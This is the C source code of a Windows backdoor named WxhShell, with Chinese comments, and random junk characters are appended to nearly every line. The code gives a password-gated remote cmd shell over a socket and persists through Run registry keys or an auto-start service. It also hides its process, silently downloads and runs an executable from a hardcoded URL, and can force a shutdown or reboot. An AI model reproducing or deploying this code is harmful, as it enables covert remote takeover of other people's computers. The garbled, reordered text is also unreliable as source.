    closesocket(wsh); "&Qctk`<P  
    ExitThread(0); ?8, %LIQ?  
    } <As9>5|%  
    break; g`k?AM\  
    } a4gi,pz$]  
  // 关机 ]ALc;lb-}  
  case 'd': { rs=q! P"u[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O;HY%  
    if(Boot(SHUTDOWN)) GO! uwo:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `N/RHb%  
    else { HftxS  
    closesocket(wsh); nsb4S {  
    ExitThread(0); *FR$vLGn  
    } zHfP+(ah  
    break; .7ayQp  
    } #kkY@k$4  
  // 获取shell RE3Z%;'  
  case 's': { 2h {q h  
    CmdShell(wsh); BsZ{|,oQnZ  
    closesocket(wsh); ;oH ,~|K  
    ExitThread(0); 7?"y{R>E  
    break; 3}1ssU"T  
  } l]2r)!Q7  
  // 退出 4y}"Hy  
  case 'x': { HjWq[[Nz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =wi*Nd7L  
    CloseIt(wsh); *oI*-C  
    break; Vy G4(X va  
    } Z< b"`ty.  
  // 离开 \nrP$  
  case 'q': { Q}A=jew  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t@?u  
    closesocket(wsh); UFn8kBk  
    WSACleanup(); 3b[jwCt  
    exit(1); |4Ck;gg!j  
    break; !wLg67X$ -  
        } k /EDc533d  
  } eyw'7  
  } VY 1vXM3y  
h7_)%U<J2  
  // 提示信息 K_-d(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ts9pM~_~  
} +UWU|:  
  } J#3{S]* v_  
Ek.&Sf$cd'  
  return; x;BbTBc>  
} E^ h=!RW{  
qW^vz  
// shell模块句柄 Y\/gU8w/  
int CmdShell(SOCKET sock) I12KT~z<r  
{ 7_KhV  
STARTUPINFO si; %NHYW\sKX  
ZeroMemory(&si,sizeof(si)); N1--~e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u~ F ;x Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;@4H5p  
PROCESS_INFORMATION ProcessInfo; GtI6[ :1t  
char cmdline[]="cmd"; j,%EW+j$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T*q"N?/4  
  return 0; !#D=w$@r:  
} ,i`h x, Rg  
W,hWOO  
// 自身启动模式 IvBGpT"(I  
int StartFromService(void) *8g<R  
{ Vj^dD9:  
typedef struct {gy+3  
{ @O3/3vi1  
  DWORD ExitStatus; (hZ:X)E>  
  DWORD PebBaseAddress; +`| *s3M  
  DWORD AffinityMask; f!GHEhQ9  
  DWORD BasePriority; F#q&(  
  ULONG UniqueProcessId; "4}wnu6/  
  ULONG InheritedFromUniqueProcessId; zDBD.5R;  
}   PROCESS_BASIC_INFORMATION; ( 76{2  
- HOnB=  
PROCNTQSIP NtQueryInformationProcess; CUmH,`hu  
+QqH}= M  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !r&Bn6*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \%_ZV9cKF  
U1m\\<,  
  HANDLE             hProcess; ~5#)N{GbY  
  PROCESS_BASIC_INFORMATION pbi; ?s{C//  
M?:\9DDd  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r:l96^xs  
  if(NULL == hInst ) return 0; Q^h5">P  
}N3`gCy9eN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XdIah<F2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JAb$M{t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >2-F2E,  
Z^6#4Q]YC  
  if (!NtQueryInformationProcess) return 0; eO4)|tW  
!ng\` |8?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bejGfc  
  if(!hProcess) return 0; !;}2F-  
|+EKF.K  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L~0& Q  
$iJnxqn  
  CloseHandle(hProcess); ,w\ wQn>]K  
@!H '+c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %O) Z  
if(hProcess==NULL) return 0; af>3V(7  
N~#D\X^t.  
HMODULE hMod; ~Yl$I,  
char procName[255]; ckwF|:e 7*  
unsigned long cbNeeded; gL]'B!dGd  
W8/(;K`/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,Aa|Bd]b  
!UNNjBBP7  
  CloseHandle(hProcess); ^8742.  
?V+wjw  
if(strstr(procName,"services")) return 1; // 以服务启动 (Pz8 iz  
R7aXR\ R  
  return 0; // 注册表启动 G1_Nd2w  
} I6w/0,azC  
Qb@eK$wo}  
// 主模块 K\sbt7~  
int StartWxhshell(LPSTR lpCmdLine) g X/NtO %  
{ {[3YJkrM  
  SOCKET wsl; Dc:DY:L^  
BOOL val=TRUE; l P0k:  
  int port=0; iSd?N}2,I  
  struct sockaddr_in door; ,C!n}+27  
kMS5h~D[  
  if(wscfg.ws_autoins) Install(); 0eA5zFU7  
|!b9b(_j9  
port=atoi(lpCmdLine); {})y^L  
IQ{?_'  
if(port<=0) port=wscfg.ws_port; UX}*X`{  
8eww7k^R  
  WSADATA data; G2@KI-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a/e\vwHLv  
;eR{tH /4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qc-C>Ra  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |BJqy/  
  door.sin_family = AF_INET; x(6vh2#vD  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #<}kISV0  
  door.sin_port = htons(port); Y(z }[`2  
:0dfB&7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !fZLQc  
closesocket(wsl); u%aFb*  
return 1; M71R -B`-  
} .;Z.F7{q  
5&%fkZ0  
  if(listen(wsl,2) == INVALID_SOCKET) { ((9YG  
closesocket(wsl); [tN` :}?  
return 1; Ut;'Gk  
} z@`@I  
  Wxhshell(wsl); pX]21&F  
  WSACleanup(); 3Q$c'C  
\*9Ua/H  
return 0; S-P{/;c@  
~h|m&XK+Q  
} R9E6uz.j  
R\ q):,  
// 以NT服务方式启动 '_E c_F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y{;u@o?T  
{  3se$,QmN  
DWORD   status = 0; (olLB  
  DWORD   specificError = 0xfffffff; TPqvp|~2  
aZxO/b^j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r4S=I   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; cl2ze  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >DS}#'N4l  
  serviceStatus.dwWin32ExitCode     = 0; |Ib.)  
  serviceStatus.dwServiceSpecificExitCode = 0; Bpas[2gYC  
  serviceStatus.dwCheckPoint       = 0;  I9Om#m  
  serviceStatus.dwWaitHint       = 0; @|]G0&gn&?  
/[L)tj7B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lG < yJ~{  
  if (hServiceStatusHandle==0) return; ` Rsl] GB  
hJ4S3b  
status = GetLastError(); r?]%d!   
  if (status!=NO_ERROR) #O><A&FrF`  
{ s%bUgO%&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; cyHhy_~R  
    serviceStatus.dwCheckPoint       = 0; M0 L-u  
    serviceStatus.dwWaitHint       = 0; 7>KQRLw  
    serviceStatus.dwWin32ExitCode     = status; [DL|Ht>  
    serviceStatus.dwServiceSpecificExitCode = specificError; tUrNp~ve,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?0m?7{  
    return; u<C $'V  
  } h/{8bC@bi  
p*!q}%U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <YSg~T  
  serviceStatus.dwCheckPoint       = 0; ,.q8Xf  
  serviceStatus.dwWaitHint       = 0; [Q=4P*G}X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m"q/,}DR  
} }eI`Qg  
pbFYiu+  
// 处理NT服务事件,比如:启动、停止 e-jw^   
VOID WINAPI NTServiceHandler(DWORD fdwControl) " C&x ,Ic  
{ IF^[^^v+H  
switch(fdwControl) dGa@<hg  
{ @,GjeF]!  
case SERVICE_CONTROL_STOP: .2/,XwIr  
  serviceStatus.dwWin32ExitCode = 0; !b'IfDp[-!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^}tL nF  
  serviceStatus.dwCheckPoint   = 0; wyNC|P;j$g  
  serviceStatus.dwWaitHint     = 0; =}"R5  
  { H[Cj7{V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3 ^pYC K%  
  } :K: f^o]s  
  return; jB`7T^bU  
case SERVICE_CONTROL_PAUSE: a&8l[xe1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; d~3GV(M  
  break; XS3{R   
case SERVICE_CONTROL_CONTINUE: V15q01bE#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; # UjEY9"M  
  break; .byc;9M%  
case SERVICE_CONTROL_INTERROGATE: [:Xn6)qz  
  break; va@XbUC  
}; eC.w?(RB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C1n? ?Y[  
} )4Bwt`VX  
g&q^.7c}  
// 标准应用程序主函数 yg`E22  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h<GyplG  
{ FF8WTuzB+  
%;'~%\|dZM  
// 获取操作系统版本 d8D yv#gT  
OsIsNt=GetOsVer(); :l4^iSf  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rtcJ=`)0`  
4 iik5  
  // 从命令行安装 Io2,% !D  
  if(strpbrk(lpCmdLine,"iI")) Install(); )_X;9%L7  
H&w(]PDh  
  // 下载执行文件 |&9tU  
if(wscfg.ws_downexe) { FYxUOO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bb*c+XN0  
  WinExec(wscfg.ws_filenam,SW_HIDE); RA! x  
} )hePN4edj  
Y"r3i]  
if(!OsIsNt) { GU2]/\W*a  
// 如果时win9x,隐藏进程并且设置为注册表启动 owP6dtd)  
HideProc(); ^ b=5 6~[  
StartWxhshell(lpCmdLine); $:qI&)/  
} -Mr{+pf  
else -$xKv4  
  if(StartFromService()) D WsCYo  
  // 以服务方式启动 e!TG< (S  
  StartServiceCtrlDispatcher(DispatchTable); 6wa<'!   
else 8''9@xz  
  // 普通方式启动 <{3q{VW*  
  StartWxhshell(lpCmdLine); 7Ntjx(b$"h  
 s$K@X `  
return 0; z?8zFP  
} 'SsPx&)l  
P9 W<gIO  
S~]8K8"sT  
n P0Ziu'{  
=========================================== C~3@M<X  
a.5zdoH_  
b>G qNf!  
F! |TW6)gv  
I|Vk.,  
N )b|  
" at_dmU2[7  
gvow\9{|C  
#include <stdio.h> XHU<4l:kl  
#include <string.h> R^n* o  
#include <windows.h> 8#[%?}tK  
#include <winsock2.h> ~ nLkn#Z  
#include <winsvc.h> T2c_vY   
#include <urlmon.h> J"m%q\'  
K8e4ax  
#pragma comment (lib, "Ws2_32.lib") ]L5Z=.z&  
#pragma comment (lib, "urlmon.lib") AJJ%gxqGq  
>FK)p   
#define MAX_USER   100 // 最大客户端连接数 yt]Oj*nn0K  
#define BUF_SOCK   200 // sock buffer Fm-q=3  
#define KEY_BUFF   255 // 输入 buffer sDz)_;;%  
r4]hS`X~%  
#define REBOOT     0   // 重启 ,U} 5  
#define SHUTDOWN   1   // 关机 d;@E~~o?B]  
G_7ks]u-  
#define DEF_PORT   5000 // 监听端口 Z&?+&q r^  
4]|9!=\  
#define REG_LEN     16   // 注册表键长度 vV$hGS(f~  
#define SVC_LEN     80   // NT服务名长度 !W+p<F1i  
i-K"9z| )  
// 从dll定义API -Z[R S{#+T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s[vPH8qb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vTe$77n  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .(gT+5[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); EU?&  
i9f7=-[U_  
// wxhshell配置信息 `\WcF7  
struct WSCFG { ai<MsQQ:=  
  int ws_port;         // 监听端口 FVvv   
  char ws_passstr[REG_LEN]; // 口令 'p|Iwtjn>  
  int ws_autoins;       // 安装标记, 1=yes 0=no URmAI8fq*M  
  char ws_regname[REG_LEN]; // 注册表键名 mE3SiR "  
  char ws_svcname[REG_LEN]; // 服务名 O>tC]sm%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 gKm@B{rC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U_ N5~#9   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7Y_fF1-wY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m=("N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Sm*Jysy`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x):k#cu[L  
76u/WC>B  
}; Bsih<`KF^  
S1x.pLHj8  
// default Wxhshell configuration D-2v>l_  
struct WSCFG wscfg={DEF_PORT, h1G*y  
    "xuhuanlingzhe", Cnc\sMDJ\B  
    1, ,&zjOc_v  
    "Wxhshell",  01UR  
    "Wxhshell", ^J*G%*  
            "WxhShell Service", \r1kbf7?  
    "Wrsky Windows CmdShell Service", GtAJ#[5w  
    "Please Input Your Password: ", D~i@. k  
  1, eD` ,  
  "http://www.wrsky.com/wxhshell.exe", f2SU5e2  
  "Wxhshell.exe" K@$L~G  
    }; qD=m{O8%_  
'o#J>a~!9L  
// 消息定义模块 AD!<%h:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; + 8K1]'t$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ac+k 5K+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; I[cV"BDa  
char *msg_ws_ext="\n\rExit."; nDoiG#N0  
char *msg_ws_end="\n\rQuit."; }?Yr>ZRi  
char *msg_ws_boot="\n\rReboot..."; N8MlT \+r  
char *msg_ws_poff="\n\rShutdown..."; #?b^B~ #  
char *msg_ws_down="\n\rSave to "; '%]@a7w  
C&CsI] @g  
char *msg_ws_err="\n\rErr!"; U_ ?elz\  
char *msg_ws_ok="\n\rOK!"; ,SE$Rh  
DS,FVh".|  
char ExeFile[MAX_PATH]; >b!X&JU  
int nUser = 0; CL@h!h554_  
HANDLE handles[MAX_USER]; bsk=9K2_2t  
int OsIsNt; 5sh u76  
l:5CM[mZ  
SERVICE_STATUS       serviceStatus; yV+ E;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; L->f= 8L  
6E\\`FE4y  
// 函数声明 ek;&<Z_ ]  
int Install(void); BJ.8OU*9]S  
int Uninstall(void); h<^:Nn  
int DownloadFile(char *sURL, SOCKET wsh); U<,Kw6K  
int Boot(int flag); ,Q /nS$  
void HideProc(void); ~&j`9jdOj  
int GetOsVer(void); ?3"D| cS1  
int Wxhshell(SOCKET wsl); ~b6<uRnM.  
void TalkWithClient(void *cs); k vgs $  
int CmdShell(SOCKET sock); Y +_5"LV  
int StartFromService(void); 7N59B z  
int StartWxhshell(LPSTR lpCmdLine); dD.d?rnZq7  
uZiY<(X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gt t$O  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); UA!Gr3  
j~L1~@  
// 数据结构和表定义 %[\Ft  
SERVICE_TABLE_ENTRY DispatchTable[] = !qw=I(  
{ $qUta< o2@  
{wscfg.ws_svcname, NTServiceMain}, \gI:`>- x  
{NULL, NULL} h@m n GE  
}; }fZ =T4r  
b-(UsY:  
// 自我安装 :kiO  
int Install(void) 64 \5v?C  
{ :@@A  
  char svExeFile[MAX_PATH]; 1-NX>E5  
  HKEY key; D>7_P7]y  
  strcpy(svExeFile,ExeFile); l;Wy,?p  
,<P[CUD&&  
// 如果是win9x系统,修改注册表设为自启动 *A1TDc$  
if(!OsIsNt) { }jY[| >z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cVHE}0Xd(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R$;&O. 5M  
  RegCloseKey(key); YT(1 "{:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9X {nJ"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UK <DcM~n  
  RegCloseKey(key); L5k>;|SA  
  return 0; (8-lDoW  
    } 0-~6} r$  
  } `7qp\vYL  
} r?yJ  
else { ;Y|~!%2~  
u g:G9vjQ  
// 如果是NT以上系统,安装为系统服务 n\"LN3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,fG_'3wb  
if (schSCManager!=0) `w=H'"Zv  
{ `Ig2f$}  
  SC_HANDLE schService = CreateService  ~!d)J  
  ( ,S0~:c:)  
  schSCManager, Mm7n?kb6  
  wscfg.ws_svcname, %1?V6&  
  wscfg.ws_svcdisp, kdMS"iN8x  
  SERVICE_ALL_ACCESS, CygV_q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v4>"p!_C  
  SERVICE_AUTO_START, x^O2Lj,w\  
  SERVICE_ERROR_NORMAL, +l?ro[#6&.  
  svExeFile, 73z|'0.  
  NULL, vwH7/+  
  NULL, .q9|XDqQc  
  NULL, $E,DxDT  
  NULL, 2SPFjpG8n  
  NULL =O'%)Y&  
  ); ]|La MMD  
  if (schService!=0) hCvLwZ?LF  
  { Ufe  
  CloseServiceHandle(schService); #Xw[i  
  CloseServiceHandle(schSCManager); +ZA\ M:^b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6BN(^y#-X  
  strcat(svExeFile,wscfg.ws_svcname); kbT-Oz  2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pdha" EV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); OUk5c$M(  
  RegCloseKey(key); IZv, Wo  
  return 0; s>``- ]3  
    } yqb <<4I  
  } Nl<,rD+KSD  
  CloseServiceHandle(schSCManager); PW//8lsR  
} -zLI!F 0  
} {i}Q}OgYq  
ftU5 A@(T  
return 1; Hr*Pi3dSI  
} YB3=ij!K  
s1\BjSzk  
// 自我卸载 W>wi;Gf#  
int Uninstall(void) 2-c0/?_4  
{ d~Ry>   
  HKEY key; H'\EA(v+  
bl>b/u7/6  
if(!OsIsNt) { g?AqC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R|$`MX}'z  
  RegDeleteValue(key,wscfg.ws_regname); Y4qyy\}  
  RegCloseKey(key); jsaCnm>&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;,-Vapz  
  RegDeleteValue(key,wscfg.ws_regname); Ml/p{ *p  
  RegCloseKey(key); J+NK+,_*M  
  return 0; Ry S{@=si  
  } @d^h/w  
} gI5nWEM0{  
} "3oU (RA  
else { 7-IeJ6,D  
|< FCt-U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^QQ NJ  
if (schSCManager!=0) {bW3%iU  
{ Z:$b)+2:\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T<?BIQz(}  
  if (schService!=0) y/6LMAI  
  { [IBk-opap  
  if(DeleteService(schService)!=0) { JsEEAM:w  
  CloseServiceHandle(schService); _:p_#3s$  
  CloseServiceHandle(schSCManager); X@q1;J  
  return 0; p}7&x[fTLk  
  } E(LE*J  
  CloseServiceHandle(schService); h:sG23@=  
  } [gp:nxyfQm  
  CloseServiceHandle(schSCManager); y+afUJT  
} BIf].RY  
} S)|b%mVwR  
mM{v>Em2K#  
return 1; J\D3fh97-  
} Q b{5*>  
HWOH8q{f!  
// 从指定url下载文件 aBi:S3 qk  
int DownloadFile(char *sURL, SOCKET wsh) B&N&eRAE  
{ |bnjC$b*  
  HRESULT hr; t3g! 5  
char seps[]= "/"; }3y\cv0ct  
char *token; l8Qi^<i/  
char *file; 't.F.t  
char myURL[MAX_PATH]; S Tk#hhx  
char myFILE[MAX_PATH]; M)^9e?  
bI(98V,t  
strcpy(myURL,sURL); }_;!E@  
  token=strtok(myURL,seps); nn%xN\~<  
  while(token!=NULL) &~f_1<  
  { $Xc<K_Z  
    file=token; m kf{_!TK  
  token=strtok(NULL,seps); M6#(F7hB  
  } hAyPaS#  
3[Iw%% q  
GetCurrentDirectory(MAX_PATH,myFILE); L(8dK  
strcat(myFILE, "\\"); !I_4GE,  
strcat(myFILE, file); V7_??L%Ct`  
  send(wsh,myFILE,strlen(myFILE),0); p n>`v   
send(wsh,"...",3,0); hj,x~^cS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); rtE,SN  
  if(hr==S_OK) Dx'e+Bm  
return 0; oyw1N;K  
else 1hij4m$b  
return 1; a"aV&t  
l:f sZO4  
} ?s33x#  
gwNkjI= ,  
// 系统电源模块 Y&:i^k  
int Boot(int flag) 'VEpVo/  
{ {hz :[  
  HANDLE hToken; o7zfD94I  
  TOKEN_PRIVILEGES tkp; 6u7wfAf  
lZ_k307  
  if(OsIsNt) { (mlc' ]F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p#2th`M:P1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); --kK<9J7  
    tkp.PrivilegeCount = 1; sKO ;p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )zo ;r!eP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '%N)(S`O7P  
if(flag==REBOOT) { KL4/"$l]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {8RGW0 Y  
  return 0; GNOC5 E$I  
} O]lfs >>x  
else {  <@u6*]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >k|[U[@  
  return 0; e_V(G  
} |e&Kg~~C  
  } EA.U>5Fq  
  else { &=bI3-  
if(flag==REBOOT) { 2-84  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mX^RSg9E}  
  return 0; zn|}YovY+  
} 5Y^ YKV{  
else { W(YJz#]6_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "#jKk6{I0  
  return 0; N=9lA0y+  
} Cq~Ir*"  
} 6bba}P  
6-"&jbvm  
return 1; v<1;1m  
} I2'?~Lt  
$hio (   
// win9x进程隐藏模块 c&&UT-Z  
void HideProc(void) 'oG'`ED"  
{ 1CbC|q  
?*,q#ZkA9W  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^MUM04l  
  if ( hKernel != NULL ) :%{7Q$Xv<  
  { Kl?1)u3^4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {NR~>=~K-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); { SV$fl;  
    FreeLibrary(hKernel); zdCt#=QV?R  
  } Za w+  
X!Q"p$D4(  
return; h 8s*FI  
} u2QJDLMJv  
J++D\x#@  
// 获取操作系统版本 Lrq&k40y  
int GetOsVer(void) V EzIWNV  
{ o;fQ,r P%  
  OSVERSIONINFO winfo; ^-ZqS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o/R-1\Dn  
  GetVersionEx(&winfo); Wm 61  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s/V[tEC*z  
  return 1; t&_lpffv  
  else ^^#A9AM  
  return 0; :[doYizk:  
} lV8Mr6m  
N5^:2ag  
// 客户端句柄模块 +Q.[W`goV  
int Wxhshell(SOCKET wsl) M:x(_Lu  
{ v;S JgZK  
  SOCKET wsh; %:lQ ~yn  
  struct sockaddr_in client; ("Zi,3"+  
  DWORD myID; -IE;5f#e  
sZc<h]L(g  
  while(nUser<MAX_USER) tBrVg<]t  
{ *d(Dk*(  
  int nSize=sizeof(client); ScEM#9T|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); rgr> ;   
  if(wsh==INVALID_SOCKET) return 1; Wxjpe4  
rlD@O~P4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ch3##-  
if(handles[nUser]==0) U/>5C:  
  closesocket(wsh); +xMDm_TGLA  
else RaAq>B WPr  
  nUser++; 4"{q|~&=:$  
  } JmkJ^-A 6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d=[ .   
gIeo7>u  
  return 0; [eImP V]  
} \gdd  
VrpY BU  
// 关闭 socket BtspnVB ez  
void CloseIt(SOCKET wsh) 3iB8QO;pp  
{ Nbr{)h  
closesocket(wsh); <T['J]k%  
nUser--; Ks4TBi&J   
ExitThread(0); nN[,$`JD,  
} ZP1EO Z  
ws=y*7$y  
// 客户端请求句柄 @ B+];lr/-  
void TalkWithClient(void *cs) rVLA"x 9u  
{ E)Dik`Ccl  
 m{~r6@  
  SOCKET wsh=(SOCKET)cs; YV+e];s  
  char pwd[SVC_LEN]; >Q YxX<W  
  char cmd[KEY_BUFF]; @I%m}>4Jm  
char chr[1]; : M Md@  
int i,j; 4R6X"T9-  
E>&dG:3no  
  while (nUser < MAX_USER) { 2l9_$evK~  
kns[b [!H  
if(wscfg.ws_passstr) { s:%>H|-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); NFQ0/iuW  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l 1@:&j3h  
  //ZeroMemory(pwd,KEY_BUFF); FkH4|}1  
      i=0; xaPTTa  
  while(i<SVC_LEN) { aD.A +es  
D`u{U]  
  // 设置超时 Q,>AT$|  
  fd_set FdRead; mWZV O,t$  
  struct timeval TimeOut;  A/9 wr  
  FD_ZERO(&FdRead); H=0Y4 T@)T  
  FD_SET(wsh,&FdRead); [.2>=3T  
  TimeOut.tv_sec=8; fSj^/>  
  TimeOut.tv_usec=0; $lvpBs  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~`y6YIJ3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W_?S^>?l/  
0'gJSrgNI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;lGjj9we>  
  pwd=chr[0]; c Mq|`CM  
  if(chr[0]==0xd || chr[0]==0xa) { iKu5K0x{>I  
  pwd=0; {L#Pdj{  
  break; 'INdZ8j_  
  } cEe>Lyt  
  i++; !aLL|}S  
    } Ax&+UxQ0|  
~#wq sm  
  // 如果是非法用户,关闭 socket $N~8 ^6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8kk$:8  
} `Do-!G+W  
(i {  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lE4.O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZZ.GpB.  
%0L 9)-R  
while(1) {  $///N+B  
f)>=.sp  
  ZeroMemory(cmd,KEY_BUFF); 5K,Y6I&$SJ  
W}Z'zU?[  
      // 自动支持客户端 telnet标准   d>2>mT$U  
  j=0; f"z96{zo  
  while(j<KEY_BUFF) { @X|CubJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5@?P 8  
  cmd[j]=chr[0]; %|UCs8EFm  
  if(chr[0]==0xa || chr[0]==0xd) { leiP/D6s  
  cmd[j]=0; < }G7#xg  
  break; 4jvgyi 9  
  } 0Y{A  
  j++; SwLul4V  
    } XJGOX n$/  
7Y:1ji0l  
  // 下载文件 oTZNW  
  if(strstr(cmd,"http://")) { JBp^@j{_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G>"w$Us  
  if(DownloadFile(cmd,wsh)) < f1Pj  
